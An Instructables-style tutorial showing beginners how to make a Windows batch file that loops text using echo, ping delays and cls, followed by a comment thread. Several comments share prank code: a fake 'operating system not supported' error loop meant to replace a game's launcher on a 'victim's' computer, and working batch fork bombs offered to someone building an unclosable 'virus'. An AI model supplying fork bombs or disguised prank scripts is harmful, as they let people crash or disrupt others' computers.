Batch Looping Text

6,268

5

46

Intro: Batch Looping Text

Hi, this is my instructable on how to create a text loop circuit in command prompt(batch).
If you like, please comment for more cool batch tricks!

Step 1: Step One

What you need:
Computer running windows 95 or later
Keyboard
Mouse
Notepad.exe
A brain

Step 2: Let's Get Started

Firstly, create a new text file by going right click, new text file
Change the name-must be the name.bat
Accept the message box
Right click and go edit.
You should see Notepad.exe open up

Step 3: Creating the File

Type the first line:

@echo off
title (can be what you like- this is what the file will be called in the title bar)
The title will look something like this

Step 4: The Looping

Write the next lines:

: a
echo (what you would like to be repeated first)
ping localhost -n (a number, how long it will wait until is shows the next line) >nul
cls (this clears the screen for the next line)
echo (what you want to be repeated after the first line)
ping localhost -n (again a number) >nul
cls
(repeat for as many lines as you want. However, leave out the line that says : a, - that is, don't put it again in the file or it wont work)
When you have all the lines you would like repeated, create this line:
goto a
(now save and exit)

Step 5: Test

Click on the file
The command box should open up
In it will be your First line of text, and it will be called whatever your title was
The text will loop continously, with intervals of how long you set it to.

Step 6: Thanks for Viewing This Instructable

Thank you for viewing this instructable. I hope you liked it and please subscribe/comment if you would like more cool batch tricks!

Share

    Recommendations

    • Fix It! Contest

      Fix It! Contest
    • Tiny Home Contest

      Tiny Home Contest
    • Halloween Contest 2018

      Halloween Contest 2018

    46 Discussions

    0
    None
    will421

    9 years ago on Introduction

    Try naming this nethack.bat(a console game) and you`ll laugh at the result. @echo off cls title Error :top echo Your operaiting system is not suppored goto top

    6 replies
    0
    None
    will421will421

    Reply 9 years ago on Introduction

    OR... Better yet... @echo off cls title Error :top echo FATAL ERROR: echo Your operating system is not supported echo Version: ver GOTO top

    0
    None
    will421will421

    Reply 9 years ago on Introduction

    And result (anyways):
    Victim:Hmmm... I`m gonna install Windows. *Installs Windows*
    3 hours later...
    Victim: *yawn* I`m tired. I`m gonna go-*BANG* *snore* *snore* *snore*
    You: *types*
    2 minutes later...
    Victim: I`m gonna run nethack. *types* *gasp* AHHHHHHHHHHHHHHHH!!!!!!!!!!!!!!!!!!!
    You: *chuckle*
    Victim: AHHHH!!!!! MY GAME!!!!!!!!!!!!!!!
    You: *laughs*
    Victim: *types franticly*
    Computer: *beep* *beep* *beep*
    Victim: *types really franticly*
    Computer: *Opens 1000 error messages* *beep* *beep* *Opens 30 CMDs* *beeeeeeep*
    Victim: *types super frantic*
    Computer: *BEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE
    EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE
    EEEEEEEEEEEEEE* *freezes for 10 seconds* *ding* *closes all the mess*
    Victim: *wipes sweat off forehead*
    Computer: *beep* *beep* *beep* *Screen freaks out for a moment*
    Victim: Huh?
    Computer: *zzzt* *beep* *beep* *zzzt* *BEEEEEEEEEEEEEEEEEEEEE
    EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE
    EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE
    EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE
    EEEEEEEEEE* *zzzt* *BSOD comes up*
    Victim: *reaches for power button*
    You: *smirks*
    Computer: *Screen really freaks out* *zzzt* *beep* *BOOM*
    *power outage*
    You and victim: Oh my...
    Computer: *zzzt* *bezzzt* *catchs on fire* *KA-BOOM* *zzzt*

    0
    None
    BatchManwill421

    Reply 9 years ago on Introduction

    @echo off cls title Error :top echo FATAL ERROR: echo Your operating system is not supported echo Version: ver echo Required: TAT Batch Subsystem GOTO top

    0
    None
    Dark-playerTATcreator

    Reply 6 years ago on Introduction

    @echo off
    cls
    title Error
    :top
    echo FATAL ERROR:
    echo Your operating system is not supported
    echo Version:
    ver
    echo Required: TAT Batch Subsystem
    GOTO top
    ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    nice^^, but its crap 0o0

    0
    None
    Dark-player

    6 years ago on Step 4

    uhm, im not sure whether PING address -n X works
    better would be
    "PING -w (ms to wait per t) -n t 1.1.1.1>nul"
    this would give more control

    2 replies
    0
    None
    Dark-playerupdown789

    Reply 6 years ago on Introduction

    ping /? (^-^)

    Further Information
    ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    "PING" should be clear
    "-w ABCD" sets the delaytime the ping waits till he gets a PONG. I think MAX is 9999 and min of 1 doesn't work (because you got a little delaytime from one command to the other)
    "-n T" T is the numer how often he waits (for ABCD seconds), only change is that it is not one second anymore ('cause you've set [is that right?] it with "-w ABCD")
    "1.1.1.1" should be a IP adress you cant ping (I use 1.1.1.1), so it waits the whole time of "-w ABCD" impossible is 0.0.0.0 and 255.255.255.255 ("PING.EXE" wont ping it properly)
    ">NUL" sends the output to *nowhere. ">CON" is default (your console, that you see)
    ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

    Is that explanation ok?
    (sorry for the bad English, would be nice if somebody correct it)

    *NUL is a Object like LPT, LPT1, LPT2, COM etc. But NUL doesn't do anything with it. The output is deleted right away.

    0
    None
    will421fwjs28

    Reply 9 years ago on Introduction

    VeryVeryVeryVeryVeryVeryVeryVeryVeryVeryVeryVeryVeryVeryVery repetitive!

    0
    None
    fwjs28will421

    Reply 9 years ago on Introduction

    no, more like Very Very Very Very Very Very Very Very Very Very Very Very Very Very Very Very Very Very Very Very Very Very Very Very Very Very Very Very Very Very

    0
    None
    updown789fwjs28

    Reply 9 years ago on Introduction

    yh i no lol but i was workin on a virus that can't be closed and always repeats itself but i got stuck on the can't b closed bit ne ideas?

    0
    None
    fwjs28updown789

    Reply 9 years ago on Introduction

    uhh you mean like a forkbomb without the bomb? @echo off color 0a echo killing your computer :haha start %0 goto haha

    0
    None
    dla888fwjs28

    Reply 9 years ago on Introduction

    Simpler fork Bomb :a start %0 %0|%0 goto :a I have tried crashing my windows 3.1 laptop but it just keeps going. I had it sitting there for 45 min running this fork bomb. It didn't crash. Although you can put a fork bomb on a floppy disk and load the fork bomb from the disk and after about 5 min of the fork running off the disk remove the disk and the (at least mine did) computer will require a forced reboot.

    0
    None
    fwjs28dla888

    Reply 9 years ago on Introduction

    just use a more resource heavy program and it'll kill the computer in seconds...

    0
    None
    dla888fwjs28

    Reply 9 years ago on Introduction

    By resource heavy you mean forks faster? Or uses a bigger file? Or something else?